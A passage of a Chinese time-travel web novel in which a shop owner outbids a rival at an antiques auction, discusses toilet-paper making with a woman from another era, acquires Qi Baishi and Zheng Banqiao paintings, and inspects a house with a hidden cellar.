叶赛宁的儿子在这，萧妧妧也在，他们想做什么？他们发现了什么？ 嫂子突然回国，会不会和他们有什么关系？ 齐小文浑身冰凉。 黎行聿轻拍萧妧妧肩头，示意她先别说话。 “齐经理，一起过去聊聊？” 他缓缓起身，视线短暂投向拍卖厅另一处，然后带着威胁警告意味斜睨过来。 萧妧妧伸直脖子去看，前面除了人头只有座椅靠背，什么都看不清。 齐小文看看萧妧妧，又看一眼黎行聿，面色唰一下惨白。 “不必了，董事长没什么精神，不见客。两位继续。”齐小文心里乱糟糟，含糊说了几句，落荒而逃。 萧妧妧看他稍显狼狈的背影，若有所思。 “金玉轩的董事长是谁？齐小文很怕ta吗？他是不是背着金玉轩违法犯罪了？” 两人对话她听得清楚，没什么特别，只在提到金玉轩董事长时让齐小文偃旗息鼓。 萧妧妧凭简短对话完全分析不出任何有用信息，索性找黎行聿打探。 黎行聿定定望着齐小文的背影，意味深长：“差不多吧，总归是他心里有鬼。” 萧妧妧眼珠子骨碌碌转。 齐小文这人心眼小，还有点怂，而且不像好人，她心大，胆子只比心小一点，是个绝对的好人。 他们绝对不可能有血缘关系。 “叹什么气？”黎行聿问。 萧妧妧纠正：“不，这叫松了一口气。” 都怪黎行聿没头没尾问的那些问题，萧妧妧回去后忍不住胡思乱想。 她原本打算睁一只眼闭一只眼糊弄过去，继续过自己的小日子，结果齐小文又不合时宜的冒出来刷存在感。 萧妧妧想，人还是糊涂一点更自在。 说话的工夫，中场休息时间结束，下半场拍卖开始。 下半场精品不比上半场少，开头就是一件名家藏品，梅因堂送拍的永乐青花转心瓶，起拍价660万。 萧妧妧没空管什么齐小文齐大文了，660万的起拍价和清仓大甩卖有什么区别？ 她早在看图录时就抽中了这只瓶子，上一次上拍是十五年前，落槌价按照当时汇率来算，差不多在4000万左右。 竞价走到第10轮，萧妧妧不去考虑名人溢价的问题了，高高举起牌子。 不确定是不是她多想，她举牌没多久，45号齐小文随后举了牌子。 他加40我加50，走到第40轮竞价时，当前最高出价迈入3000万。 低于4000万买叫捡漏，超过6000万叫正常溢价，超过太多则属于接盘。 萧妧妧想捡漏，价格最好控制在3000万附近。 她运气依然不错，与她竞争的30号和55号慢慢没了消息，只有45号在坚持。 萧妧妧分不清45号是真想要东西，还是为了给她添堵。 又过了两轮竞价，出价3120万的萧妧妧牢牢占据第一名，眼看拍卖师即将落槌，45号再次举牌。 “加10。” 萧妧妧眉头拧起，“加20。” 45号停顿了大约十几秒，又一次大声道：“45号，加50。” 拍卖师差点燃起来：“现在是45号买家出价3210万，22号买家要不要加一点？” 萧妧妧握紧拳头，瞪着眼睛寻找45号所在方向。 “加20。”她说。 眼看着3100万可以拿下，让齐小文横插一脚，多给出去100万。 萧妧妧信誓旦旦与黎行聿说：“他肯定在针对我。” 黎行聿没有反驳，显然心里也在怀疑。 这事除了对方亲口承认，没办法证明，45号办理竞拍资格时以金玉轩名义，为竞争重点标办理的特殊号牌，保证金超5000万，万一玩砸了不买也得买，一般来说没有深仇大恨不会这么乱来。 黎行聿安抚道：“他不是第一次参加拍卖，不会太过分。” 暗搓搓使几次坏没跑，恶意大幅抬价不太可能。 齐小文不是第一次参加拍卖会，同样，在座其他人也不是第一次参加。 他敢明着抬价，出了随园就有人告他。 何况萧阿姨在，齐小文忌惮她，不敢太乱来。 果然，就在不少人怀疑45号是不是故意和22号别苗头时，45号没动静了。 拍卖师宣布22号买下转心瓶后，大家只当45号竞价失败，没往深处想。 萧妧妧算了算，她看上的六件瓷器里，已经买到4件，还是她最想要的4件。 剩下两件是备用方案，为了避免她白跑一趟而选出来的备胎。 既然四件首选已经到手，自然没必要再浪费钱买备选。 萧妧妧戳开手机，看到四条来自佳博的竞拍提醒顶在消息栏顶端，浑身轻松。 后面的拍品再好也和她没什么关系，萧妧妧大可以现在退场。 就在她考虑怎么悄悄退出拍卖厅，赶回去和孟甜甜她们约夜宵，下一件拍品上场，45号齐小文举起牌子。 “45号买家出价2100万，有人要出价2120万买下这件粉彩镂空转心瓶吗？” 萧妧妧刚站起身，又一屁股坐回去了。 黎行聿满头问号，不解看她。 萧妧妧小声向他询问：“我偷偷使坏不能算恶意抬价吧？” 黎行聿霎时明白她想做什么。 他举了举垂在西装外侧的工作牌，笑容无奈。 萧妧妧摸了摸鼻尖，心虚目移。 “没听过什么恶意抬价的说法，你只是在争取自己喜欢的拍品。”黎行聿轻笑一声，纠正她的不当言辞。 萧妧妧意会，唇角勾出邪恶弧度，狐狸眼闪烁狡黠光芒。 “22号，加10。” 拍卖厅前排，眼看着即将拿下拍品，拍卖师即将宣布结果，22号跑出来坏他好事。 齐小文：22号针对他！ 齐小文怒不可遏，但当着嫂子萧雁如的面，他不能表达出任何异样情绪。 他若无其事举牌，假装没发现22号的举动，其实背地里牙快咬碎了。 这次金玉轩前来参加佳博秋拍，本该金玉轩的艺术收藏顾问带队参加，因着一些不能明说的事，齐小文极限操作，顶了顾问的岗前来，拍着胸脯保证能完成任务。 然而事实并不如他想象的简单，顾问团队拟定的七件目标拍品，其中三件因为预算超标，没能竞争过22号。 重点标龙纹罐是重中之重，预算基本都花在它身上，齐小文不计成本的拿下它后，正常秋拍他总共也只买到了两件东西，远远低于计划。 下半场的备选拍品有六件，齐小文打算把它们拿下，至少数量上说得过去，质量上也没有差很多。 谁知道下半场刚开始，萧妧妧就抢走了一件十分有潜力的瓷器，备选拍品只剩五件。 “45号，加20。” 萧妧妧按下计时器，齐小文花了三十秒考虑。 她再次举牌：“22号，加20。” 齐小文听到后半场传来声音，悄悄捏紧了拳头。 萧雁如皱眉，绕过生活助理，侧身询问齐小文。 “22号买家你认识吗？” 齐小文忽然僵住，表情凝固。 “不、不认识，”齐小文恨得牙痒，此刻却不得不为萧妧妧说话：“听说是刚冒出头的古董铺，大概是想在圈子里博关注吧。” 与萧雁如低声说两句，齐小文缓缓举牌。 “45号，加40。” 萧雁如没说什么，靠回椅背，神情淡淡。 齐小文不知道嫂子信了没有，他分神关注萧雁如，同时注意22号的反应。 22号这次没再举牌，略等了一会，拍卖师落槌，粉彩镂空转心瓶落入他手。 齐小文重又挂上憨厚蠢态，趁机与萧雁如说话。 “嫂子，你身体不好，要不先回去休息？这会不早了，后面少说要一个小时呢，我自己一个人没问题。” 齐小文千防万防，没防住萧妧妧也在拍卖现场，幸好他跟来了。 眼见萧雁如已经对22号起了一丝好奇，万一散场时碰见，事情会变得非常不可控，他不能让这种事发生。 萧雁如没搭理他。 齐小文咬咬牙，身体坐正，继续竞拍。 萧妧妧没等多久，下半场第六件拍品上场，45号很快举牌。 萧妧妧悄摸跟着举牌。 齐小文害她多花100万，萧妧妧要求不高，让他多花200万就好。 接下来，齐小文每举一次牌，萧妧妧便跟一次。 每件拍品最多追两次三次，又没有大幅抬价，旁观的买家瞧着和正常竞价差不多，只不过22号和45号格外有缘，总看上同一件东西。 灯火通明的拍卖厅，22号萧妧妧笑得岁月静好，45号齐小文心里堵得发慌。 别人不知道，他还能不清楚？ 偏偏他还不能拆穿，哑巴吃黄连。 拍卖结束，齐小文什么感受她暂不清楚，萧妧妧有点意犹未尽。 干坏事果然有意思。 萧妧妧给自己的22号竞拍牌拍了照片，连同相册里的其他照片一并组成九宫格，发在朋友圈，并配文案：“高能量女生的一天” 上午做生意，中午中秋聚餐，下午谈合作，晚上参加拍卖会，顺带恶心了一把讨厌的齐小文。 陀螺都没她会转。 好在这次秋拍她收获满满，该花的钱花出去了，不该花的钱也坑回去了。 萧妧妧提起裙摆，神清气爽地去付订金。 她高昂起头颅，大摇大摆绕过因颗粒无收而垂头耷脑的买家办退保证金队伍。 几乎刚在队伍末尾站定，周遭的低声议论此起彼伏。 “妧妧，我有点事情先离开，等会回来。” 萧妧妧想听听大家议论什么的时候，黎行聿急促丢下一句话，匆忙往队伍相反方向走去。 她好奇探了探身子，沿着黎行聿前进方向看去，靠近大厅休息区出口的方向，只有一道穿着杏色套装的身影，搀扶她的两个年轻女人一身黑色职业装。 是她在拍卖厅门口见过的女人。 原来黎行聿认识她啊。 【作者有话说】 感谢读者“虫子太多好可怕”,灌溉营养液 +1 219 第219章 ◎糟了，这小子不会要表白吧？◎ 这个念头冒出来的时候,一股突如其来的力道撞上她肩膀，迅猛的痛感短暂出现两秒又迅速消失。 萧妧妧踉跄两下，勉强站稳，就听见周*遭不少人惊呼,嚷嚷着没礼貌,撞人不知道说对不起一类的话。 看来不止她一个人遭殃。 萧妧妧拧眉瞪过去,却看到从身后跃出来的黑色身影径直向黎行聿那里奔去。 不,是奔向那个穿套装的女人。 萧妧妧认出了撞人的西装男，齐小文！ 微蹙的眉头直接紧拧,萧妧妧狠狠瞪他背影，瞪完,她又忍不住探究。 竞拍号牌还在他手上，也就是说他没来得及付款,但从他跑出来的方向判断，齐小文排在她前面。 什么情况会让他放弃排到一半的队伍,着急忙慌地跑出去？ 萧妧妧眯了眯眼,仔细盯着齐小文瞧。 齐小文气喘吁吁停在黎行聿身边,状似询问的与中年女人说话,实则暗戳戳挤进两人中间。 中年女人的身影被壮硕的齐小文完全挡住,萧妧妧看不清他们的表情，只看见黎行聿不放心地回头看过来一眼，而后与他们礼貌道别。 黎行聿大步走来时，齐小文步步紧跟在中年女人身边,领着她们往大厅外面走，直至消失。 “她是谁？” 黎行聿在她身侧站定没一会,萧妧妧忙追问。 黎行聿沉默了两秒,缓缓说道：“金玉轩的董事长,拥有金玉轩99%股权，无其他股东，几乎完全掌控金玉轩。” 完全掌控的意思，包含决策、人事任免、资产支配，难怪齐小文卑躬屈膝。 “家族企业？”她说。 只有99%控股才能保证代际传承不受干扰，许多家族企业都会这么设计股权架构。 黎行聿嗯了一声，“传到萧阿姨是第四代。” 萧妧妧一听他喊萧阿姨，立刻从记忆深处扒拉出一些片段，黎行聿和她提过不止一次。 “哪个xiao？不会那么巧和我一个姓吧？” “是啊，确实很巧，”黎行聿似惊似叹：“和你一个姓，萧。” 萧妧妧多看他一眼，总觉得他语气怪怪的。 黎行聿笑笑，转而问道：“周末有空吗？有件事我认为有必要和你聊聊。” 萧妧妧愣住，迷茫回望。 有什么现在不能说，非要约在周末聊？ 停顿几秒，脑海中闪过一个念头，萧妧妧瞪大眼睛，吞了吞口水。 “是正经事吗？”她试探着问：“现在不能说？” 黎行聿点头：“正经事，很重要，我觉得我们需要一个安静的地方慢慢说。” 萧妧妧迟缓的哦了一声，垂下脑袋老实排队。 糟了，这小子不会要表白吧？ 萧妧妧摸摸耳垂，挠挠头，手指勾在一起搅啊搅。 黎行聿不解，她怎么突然手足无措起来。 “周末没空吗？” 萧妧妧下意识摇头，反应过来赶紧点头：“有、有空。” 好烦，答应还是拒绝？ 心不在焉地交完订金，两人都没开口的意思，沉默而微妙的氛围一直持续到他们站在家门口为止。 萧妧妧没理会他的欲言又止，匆匆挥手，逃走。 爸妈住在熙园，唯一的长期租客季随这两天也不在，院子里黑漆漆。 萧妧妧心里烦躁，无意识地溜达一圈后，起身离开，去小卖部过夜。 至少那里有人陪她说说话。 “他说要和你聊聊？没提约会什么的？” 凌晨时分，孟甜甜精神抖擞，盘腿坐在躺椅里等着吃瓜。 萧妧妧吸一口气，刚要开口，孟甜甜竖起手掌打断。 “先等等，我准备一下。” 她腾一下跳到地上，踩着拖鞋往厨房跑，不一会，两张躺椅中间的矮桌上塞满了东西。 啤酒两听，薯片三包，瓜子一袋，卤味铺满桌。 孟甜甜贴心地送来一次性手套，喜滋滋嗑瓜子吃薯片。 “好了，现在可以说了，我会认真听。” 每蹦出两个字音，就有一粒瓜子死在她牙齿下，吧嗒吧嗒，萧妧妧完全失去倾诉的欲望。 “算了，睡吧。” 她起身要走，孟甜甜差点傻眼，硬拽着她胳膊拉回来。 “不行不行，哪有说一半就溜的？我东西都准备好了，今晚吃不到瓜我睡不着。” 萧妧妧：“……” 萧妧妧神情微囧，深呼吸，缓缓开口。 ………… “……你说，他不会是想挑明吧？” 孟甜甜皱着眉头，连嗑了十几粒瓜子，才慢悠悠分析：“不像，一般人准备表白，不都是用各种借口当幌子，然后突袭吗？” “听你这么描述，更像是说正经事。” 萧妧妧很快被她说服，心里说不清是什么感觉。 孟甜甜突然改口：“也说不准，可能在他看来，表白是需要严肃正经对待的事情？” 萧妧妧刚落下去的情绪，因为她这一句又飘忽起来。 孟甜甜盯着她瞅了一会，啧啧两声，懒得问她是答应还是拒绝。 可能是酒精作用，也可能是倾诉过后躁动情绪得到缓解，萧妧妧没能想太多，沾枕即眠。 中秋一过，温度明显下降了一点，天气一如既往的好。 萧妧妧扫一眼日历，黎行聿所说的周末在长假末，还有几天可以纠结。 她慢吞吞爬起，收拾好自己，便开始忙着整理店铺。 八点半，小卖部开始营业，十点整，不破斋开启翡翠专场。 翡翠果然比彩宝更受欢迎，她才在院门口摆上有序排队的指示牌，没一会，陆续有客人进店。 萧妧妧的上新预告做得足够细致，许多顾客在图文视频里初步挑选时就有了看中的款式，一到上新日，直奔不破斋，掏出手机展示图片和编码。 一旦确认大小合适，实物无瑕疵，价格在预算范围内，爽快的顾客差不多能在十分钟内付款走人。 选择困难的顾客会挑拣出几个备选对比，要么买走其中一个，要么改变计划多带走一个。 总之，经过几次忙乱的上新日，萧妧妧一个人也能游刃有余的应付。 而人一旦忙起来，便没空想那些乱七八糟的事，至少萧妧妧如此。 临近十二点，此次上新的40件翡翠饰品卖出去大半，门外还有长长的队伍等待。 萧妧妧只来得及喝口水解渴，不得不继续为生意忙碌。 大约超出原定经营时间一小时左右，40件精心挑选的中低档翡翠售卖一空。 孟甜甜帮着锁上院门，招呼她去吃午饭。 “好像比上次卖得快，排队的人也比上次多很多。” 萧妧妧感触最深：“可能因为这批翡翠比较便宜吧。” 有钱人也没多到满大街都是的程度，连着两次上新都出现中低档供不应求的状况，这次黄金周上新，她特意增加了中低档翡翠的数量。 高档翡翠当招牌，中低档翡翠打开销量，这一番操作，销售速度明显增长。 当然，也和她此次上新数量不多有关。 她抱着计算器戳了一通，仅上午半天卖翡翠的营业额就已经达到4000万。 单看营业额，比之前几次可以说大幅降低，但对比翡翠档次与数量，其实不算太差。 加加减减，昨天在佳博挥金如土花出去1.1亿多，今天回血4000万，赶在大维德开拍之前，她还有一次回血机会，应该能多囤几千万。 盘算清楚，萧妧妧乐得龇牙。 “快来搭把手，卫生纸做出来了，你们看看怎么样。” 萧妧妧才扒两口饭，申明月抱来大箩筐，吭哧吭哧闯进来。 孟甜甜早早吃完午饭，这会刚眯眼午睡，让她一吼，睡意全无。 萧妧妧搁下筷子，一起凑过去看。 “不知道哪里出问题了，做出来的卫生纸始终不如店里买的白，也不够柔软。” 申明月苦恼不已，她已经按照萧妧妧提供的方法去做了，一步不差。 匠人们都说这卫生纸足够好，只要搬出去卖，肯定供不应求，到时候大家的生活习惯将会被彻底颠覆。 但他们没见过真正的卫生纸，不知道她萧妧妧这里见过的原版卫生纸又软又香又洁白，和她手里能看见植物纤维的黄纸根本不是一回事。 卫生纸制作步骤比宣纸简单，耗费时间短，收集的原材料也足够多，申明月考虑片刻就下令重新制作。 各个步骤细节都做了轻微调整，比如桑树皮多泡几日，泡树皮的水换成温水，大锅蒸煮延长半个时辰，又或者多添加木槿叶的粘液以增加柔韧度。 除了刚开始的第一批出现各种问题，往后四批次制作一次比一次好，匠人们逐渐上手，弄明白了整个流程原理。 可即便大家费心调整步骤，修改材料配比，最后的成品依然达不到申明月的要求。 申明月抽出几张黄不垃圾有毛边的自制卫生纸，一人分几张让她们感受一下效果。 抖一抖，没有碎屑，揉一揉，没有断裂，放在手背上轻蹭两下，有点粗糙，但在肌肤可接受范围内。 “你们试用过吗？大家什么反应？” 萧妧妧不清楚古代环境下做出这种程度的卫生纸算什么水准，不好提更多更不符合实际的要求。 “试用过，先是造纸坊的匠人，试用过程中没有出现碎成渣或者包不住污物的情况，他们都说好用。 之后我带回家，分给院里几个丫鬟试用，又拜托舅母姨娘们帮忙试用。” 丫鬟们只觉得新奇不已，试用过后更加惊奇，没人不说好。 倒是舅母和姨娘那里有不同声音，有的嫌弃卫生纸不够好看，有的嫌弃不够精致，毛边还需让丫鬟裁剪，也有的嫌弃卫生纸一股草木味道，建议她用熏香熏一熏。 孟甜甜总结：“听起来问题不大，平民接受度十分良好，你这一批卫生纸不愁卖不掉。 至于你族里的亲戚，她们过惯了好日子，难免挑剔，正好方便你针对高端用户开展更优质的服务。” 萧妧妧嗯了一声附和，“桑树皮当原材料成本有点高，可以换成其他更容易获得的树皮草叶什么的。” 萧妧妧又问：“产量如何？” 申明月：“一天大约200-300张吧。” 孟甜甜一琢磨，成本还挺高，她先前提议的在平民中推广便显得不合理，只能卖给富人。 萧妧妧也察觉现实和想象的有不小出入，她以为有制作卫生巾的方法，只需花点时间推广，大家都能用上方便卫生的卫生纸。 这点产量，对比生产所需的人力、成本，平民可用不起。 萧妧妧没好意思说丧气话，拍拍她肩膀鼓励：“我觉得没什么问题，纯天然无污染，质量过关，肯定不愁卖，裁剪、熏香其实可以考虑进去，当成高端产品的噱头。 等你找到更实惠的原材料代替，到时候即便是平民也用得起。” 申明月重重点头：“我也是这么想的，这不，桑树皮的最佳比例已经测试出来，我手下的匠人仔细钻研，也想到改进的方法了。 我们接下来打算试试竹子、亚麻和芦苇，对比过后就知道用哪种了。” 萧妧妧的肯定给了她信心，申明月劲头十足，铁了心要造出便宜又好用的卫生纸。 莫名振奋过后，申明月磨磨蹭蹭凑到萧妧妧身边，笑得谄媚。 “嘿嘿……萧大老板，您还有没有类似卫生纸这么实用的技术？” 和萧妧妧凭空拿来土质分析报告不太一样，申明月买了卫生纸制作方法后，亲自盯着匠人，一步步按照流程步骤走，又自己根据实际情况参与制作方法改进，亲眼见证卫生纸诞生。 她比任何人都更直观的感受到了知识的冲击。 申明月热血澎湃，要不是调走大部分人寻找玻璃原材料，以及忙着制作复合化肥种粮食，她恨不得把所有技术都买回去，然后一一实现。 萧妧妧想了想，还挺多，根本买不完。 “大蒜素、青霉素、白糖……太多了。”她提醒：“贪多嚼不烂。” 申明月每次来都要嘀咕，一会说手里兵少了，一会说手下匠人不够用，一会又抱怨想做的事太多，时间不够用。 萧妧妧轻易理解她的急迫，谁坐拥丰富的知识宝库还能无动于衷。 申明月忙碌大半年，刚做出点成果，正是上头时候，只想买买买。 嚼不烂就放着慢慢嚼，她有钱。 【作者有话说】 感谢读者“念颜”,灌溉营养液 +31 感谢读者“虫子太多好可怕”,灌溉营养液 +1 220 第220章 ◎人一旦想干点坏事，灵感像失控水龙头◎ 申明月学会了柳如烟那套招数,抱紧萧妧妧胳膊蛆一般蠕动，好听话不要钱似的乱撒。 萧妧妧当然是满足她了。 大蒜素能救命，萧妧妧优先挑出它的制作方法再配合视频讲解，务必申明月吃透。 申明月捧着脸瞪着眼,惊呼声没停下。 “天才！怎么会有人想到这么做可以生产什么抗生素。” “我们那里的大蒜不长这样,也可以用吗？” “妧妧姐,我要买大蒜,好多大蒜！” 萧妧妧忙着吃饭呢，本就因为做生意耽误了,又和申明月唠嗑，再拖下去午饭变下午茶。 她抽空比了个手势,一边扒饭一边下单大蒜。 申明月学得如痴如醉，听到关键知识点做记录,听到理解不了的词汇同样记录下来慢慢学。 孟甜甜是闻着食物香气，听着枯燥知识陷入的昏睡,并罕见地打起轻呼。 申明月分神观察一会,小声说：“甜甜姐好像很累的样子。” 隔许多天才能出现一次的申明月都发现了这一点,几乎天天守在店里的萧妧妧也早已发觉。 孟甜甜不说,她便没多问,不过看她一如往常砍丧尸，应该没什么大事。 萧妧妧没放在心上，收拾完桌子提前等在结界附近。 下午还有一场拍卖，苏娇娇所在的海城汇司拍卖行。 当然,在拍卖之前，苏娇娇计划带她逛一逛刚到手的花园洋房。 毕竟萧妧妧出了大部分的款项,不给她看一眼苏娇娇心里过不去。 约定时间一到,苏娇娇的身影如约出现在结界。 她放下东西,语气随意：“昨晚没见到你，我自己去了雪霁堂。这家茶室果然不简单，我进去的时候瞧见不少人在里面，有买家有卖家，还有好多洋人。” “喏，这几件是我觉得不错的。” 顿了顿，苏娇娇神秘兮兮的说：“有你惦记好久的一幅画。” 萧妧妧吃饱了犯困，眼皮子直耷拉，听到这里狐狸眼瞪得圆溜溜，整个人瞬间来精神了。 “唐伯虎？齐白石？到底是哪个？” 苏娇娇笑着把怀了几只匣子推过去，示意她自己揭开惊喜。 萧妧妧戴上手套，桌上杂七杂八东西全部清理干净，再铺上桌布，最后才敢小心翼翼打开匣子。 红花墨叶与几行字，有点眼熟，学过，但记不清了。 看画她看不出来什么名堂，索性找钤印。 在看到题款“白石”，印“借山翁”，萧妧妧的大脑有一瞬间短路。 “齐白石！是齐白石！”萧妧妧高兴得原地蹦跶，惊喜的欢呼差点掀翻房顶：“娇娇姐你真给我买到齐白石了！” 苏娇娇捂着耳朵点头：“运气好，正巧碰到有人出，那人我还认识，不会假，便先买回来给你看看，反正不贵。” 苏家曾经的生意伙伴，因为厂子在沦陷区，供应链断裂，生意几乎停摆，一大家子没办法，只能变卖家中藏品。 苏娇娇知晓这位叔叔的人品，二话不说答应帮忙。 直到人把几幅画摆在她面前，苏娇娇才反应过来。 她莞尔一笑：“不对，要我说，是你运气好，你才说要齐白石，这不，人家就送到我手里了。” 萧妧妧觉得这话有点道理，就像她惦记唐伯虎真迹，十来年没在拍卖市场上活跃过东西突然出现了，恰好在她有能力的时候。 她立即双手合十，冲天许愿：“老天奶，我还喜欢王阳明，是王阳明，我要手书，好几千万的那种，拜托了拜托了。” 萧妧妧一本正经的念念有词，好像老天奶会应她似的。 苏娇娇催促：“你再看看另外几幅。” 萧妧妧看她表情不对，将信将疑地打开第二个匣子。 依然是一幅画。 “这……”萧妧妧对比一下，和旁边的《荷花鸳鸯图》画风相似，她吞了吞口水，一口气展开画轴。 当她看到同样的题款，以及“木人”印，萧妧妧实在没能忍住，哈哈大小。 “娇娇姐我爱死你啦！” 谁能想到，心心念念的齐白石画一来就来了俩。 一幅是荷花鸳鸯图，一幅是红果绿叶的荔枝。 萧妧妧未免高兴得太早，赶紧收住张狂笑声，启动系统估价。 “1、2、3、4、5……” 两排数字都挂着好几串0，萧妧妧一数，一幅估价4600-5500万，一幅估价1100-2000万！ 萧妧妧再也控制不住嘴角了，幸福得要晕过去。 “你可不能晕，剩下两幅画看完还得跟我去看房子。”苏娇娇笑着调侃。 萧妧妧嘿嘿笑，视若珍宝一般卷起齐白石画，藏进空间深处，而后打开另外两幅。 有齐白石在前，萧妧妧对后面两件画作抱有极高期待，同时，她也预料自己大概率会失望。 有齐白石已经算她捡着大漏了，她不好意思继续肖想其他。 而当她一并展开两幅画，先后看到疏密有致的墨竹与兰草，萧妧妧发现自己失望得太早。 “郑板桥的兰竹图！” 上一次见到郑板桥兰竹图还是在她读小学背课文的时候，现在，印在课文里的墨竹图落在了她手里。 萧妧妧再次估价，兰竹图同样挂了许多0，无疑是真品。 墨竹图估价6800万，兰石图稍逊一筹，2000万不到。 萧妧妧迟滞转动眼珠子，惊愕地望向苏娇娇。 “这四幅画，都是我的了？”她不可置信地问：“齐白石和郑板桥都是我的了？” 苏娇娇好好欣赏了一会萧妧妧的傻样，打趣道：“不喜欢吗？不喜欢我拿回去退了吧，反正也不贵。” 萧妧妧猛地一弯腰，身子往桌上扑，张开双臂护住她的郑板桥兰竹图。 “不行，进了我的店就是我的东西。” 苏娇娇翻了个白眼，嗔道：“瞧你那傻样，我就是买来给你的。” 萧妧妧卷起画轴，抱在怀里又亲又摸，一副痴汉样。 “都是我的宝贝，谁也不能抢。” 四幅画摆在一起，萧妧妧爱得死去活来，掏出手机拍了好几张照发朋友圈。 她没敢展示画的真容，像真嫂子对粉丝秀恩爱一样，选择了十分隐晦的方式炫耀。 孟有树以为她又去哪个拍卖行扫荡了，评论里追问买的什么画，萧妧妧哪敢说啊，只说随便买着玩。 她一边恢复评论，一边问道：“娇娇姐，这几幅画花了多少钱？金子还够用吗？” 苏娇娇：“够用，你送去的那一箱我只花了一半呢。 这四幅都是从一个熟人那里买的，给我算便宜了些，一共花去2000美元加500两金条。” 萧妧妧更惊喜了，500两差不多是1.8万克，即便满打满算按照2万克算，以当前金价来说，才1300万元，美金没那么多，估计百来万吧。 四幅画总价值约有1.5亿，萧妧妧只花了1500万不到就买下，差额幅度10倍，绝对算大漏。 萧妧妧笑得脸颊发酸，勉强自己合拢嘴巴，没一会又不自觉扬起。 没什么比捡漏更让人高兴的事了。 苏娇娇看她傻乐半天，无奈摇摇头，“我先带你看看洋房周围环境，然后再和你商量把东西藏哪。” 萧妧妧没听清她说什么，满脑子齐白石郑板桥和捡大漏，心不在焉点头应和。 苏娇娇没有勉强她，放任她继续乐，自己先下楼上车往租界去。 花园洋房周围什么环境，路上有什么店铺，躲进租界避难的人有多拥挤，萧妧妧根本没心思看。 最后是苏娇娇进了洋房关上大门，连着介绍半天没听见回应，偷摸回到小卖部抓着萧妧妧肩膀晃回她的神智。 “至于吗？咱们抓紧时间看完房子。”她再三提醒。 萧妧妧揉揉酸疼的脸颊，讨好的冲她笑。 花园洋房占地面积420平左右，刨去花园造景，房子的面积只在300出头。 房子保养得极好，看得出主人有多爱惜，一些大件家具带不走，打扫干净保持原样留下。 有西方艺术装饰，更多的是明清传统加改良家具，单看木料和装修风格，前任房主的品味可见一斑。 厨房有煤气灶，卫生间有马桶，整栋房子通了电，乍一看和现代的复古风别墅差不多，甚至更有韵味。 “家具挺好啊，交趾黄檀的衣柜，柚木的梳妆台，斗柜由楠木打造，次卧那张架子床看起来像榉木的。” 上下三层全部逛完，萧妧妧可以笃定的说，这间洋房的前任主人非富即贵。 用得起煤气的家庭在海城可不多见。 苏娇娇跟着多看两眼家具，暗道一声难怪，难怪房主要求多加1000美金，说是补家具的差。 “看，还都是榫卯结构呢。” 苏娇娇绕着柜子、床转了一圈，全方位展示给萧妧妧看。 萧妧妧要得急，她买得也急，这两天刚过完户，只苏管家派人过来打扫过两次，严格说起来，这算是苏娇娇头一回见到花园洋房的真实环境。 住不住的另说，反正她只需要一套存在于租界的房子保存文物，是以价格合适能尽快到手就足够了。 苏娇娇想起什么，问：“我记得你那里也有很多人会买这种老式家具，而且它们用料不差，要不要给你挪回去？” 萧妧妧搓了搓手，笑容腼腆，“可以吗？方便的话我就挪。” 面上一副不好意思的样子，实际萧妧妧心里美滋滋，要不是苏娇娇先开口，她还要措辞一下委婉地提出来。 这些家具肯定不能当古董卖，也远到不了古董的程度，但它们用料足够好，她舍不得留在房子里落灰，最后沦落到废品站当柴烧。 苏娇娇不知道她在腼腆什么，说：“没人住，家具放久了是要坏的，你用得上不如挪回去。 再说，这钱都是你出的，拿点家具算什么。” 萧妧妧摩拳擦掌：“娇娇姐，回书房去，红木的书柜我看上了，还有主卧的黄花梨梳妆台，次卧的柚木梳妆台，楠木的斗柜……” 苏娇娇似笑非笑斜睨她一眼，依言折回几个房间搬家具。 看上的名贵木料全搬走，搬不走的默默可惜两秒，而后忙着找地方存文物。 这年代的房子有个非常明显的好处，房主大多会挖地窖或者暗格，用于存储、避难。 两人费了点工夫研究房型，几次摸索，终于在厨房流理台后面发现一间隔间。 隔间的门既隐蔽又显眼，它是一堵一米宽的大白墙，墙上挂着蒸屉等杂物，但墙壁与流理台固定，必须先推动流理台才能连带着打开隔间隐藏门。 萧妧妧第一次见这种类型的隐藏门，拉着苏娇娇琢磨好一会，然后才举着手电筒往隔间探索。 所谓隔间和地窖差不多，沿着楼梯向下是一间20平左右的密闭房间，看地面痕迹，此前应该摆放过不少箱子柜子。 苏娇娇环顾一圈，特意去找楼梯脚，那里果然空出来一块鸡肋的面积。 “砌墙我有经验，咱们就把东西藏楼梯脚吧？” 一回生二回熟，帮着藏过一次汉锦后，苏娇娇很有心得。 按照萧妧妧的说法，最多十年，这些文物便可以重建光明，藏十年和藏一百年比，难度锐减。 萧妧妧没什么意见，反正文物交给苏娇娇安排了，一切由她做主。 苏娇娇没打算立刻动手，她们目前还在到处搜罗文物呢，粗浅商量一下方案，分配一下后续安排，两人重新回到厨房，使出吃奶力气拖动流理台，关上隔间隐藏门。 苏娇娇拍去身上灰尘浮土，擦干净鞋面，拎起包，端着贵妇人姿态回到小轿车上，出发汇司拍卖行。 汇司拍卖行同样位于租界，车程十分钟左右。 萧妧妧先是看见一栋西式风格建筑，随后看见建筑长长阶梯上等候的苏管家。 苏娇娇小声提醒她记下编号，推开车门，与苏管家一同走进这栋洋气的大楼。 汇司拍卖行按当下的话来说是洋行，里面的工作人员有一小部分是洋人，顾客里洋人占据极大比例。 苏娇娇举起折扇挡面，低声对萧妧妧解释：“汇司拍卖行最早由英商创立，主要从事佣金代理和拍卖业务。 发展到如今已经四十年，汇司在海城有不小的名气，口碑也很不错。” “据我所知，离开海城回海外的洋人们，大多选择汇司处理他们在海城的物品。 受局势影响，现在更多是迁往海外的富商们变卖藏品和资产，比如房屋、地产、机器、厂子等，时常登报拍卖。” “汇司在上周办过一次拍卖，邮票专场，我记得你说邮票崩盘了，便没告诉你。 今天一共60件古董藏品，有瓷器有青铜器还有书画。” “我托人打听过，汇司的古董专场每月一次，有私人藏品，也有盗墓贼浑水摸鱼。 这些年盗墓贼越发猖狂，不知道多少文物通过汇司流向国外。” 说到这里，苏娇娇恨得牙痒痒。 萧妧妧毫不意外，在法律健全的和平年代都有人干缺德事，何况战乱频发的时代。 这个时期的拍卖业务可谓野蛮生长，毫无规矩可言，盗墓贼以及其他别有用心之人大肆借助这些洋行以各种名义盗走了珍贵文物。 苏娇娇简单交待两句，随顺着人流往拍卖厅走。 这一时期的拍卖行没有办理竞拍号牌的流程，登记姓名交保证金，直接进拍卖厅。 工作人员会推着放有拍品的车子出现在展示台，台下收藏家、买家根据自己在预展观察后的结果决定买哪件。 因为拍品不多，萧妧妧可以当场估价，苏娇娇没有浪费时间提前看预展，而是选择在拍卖当天出现。 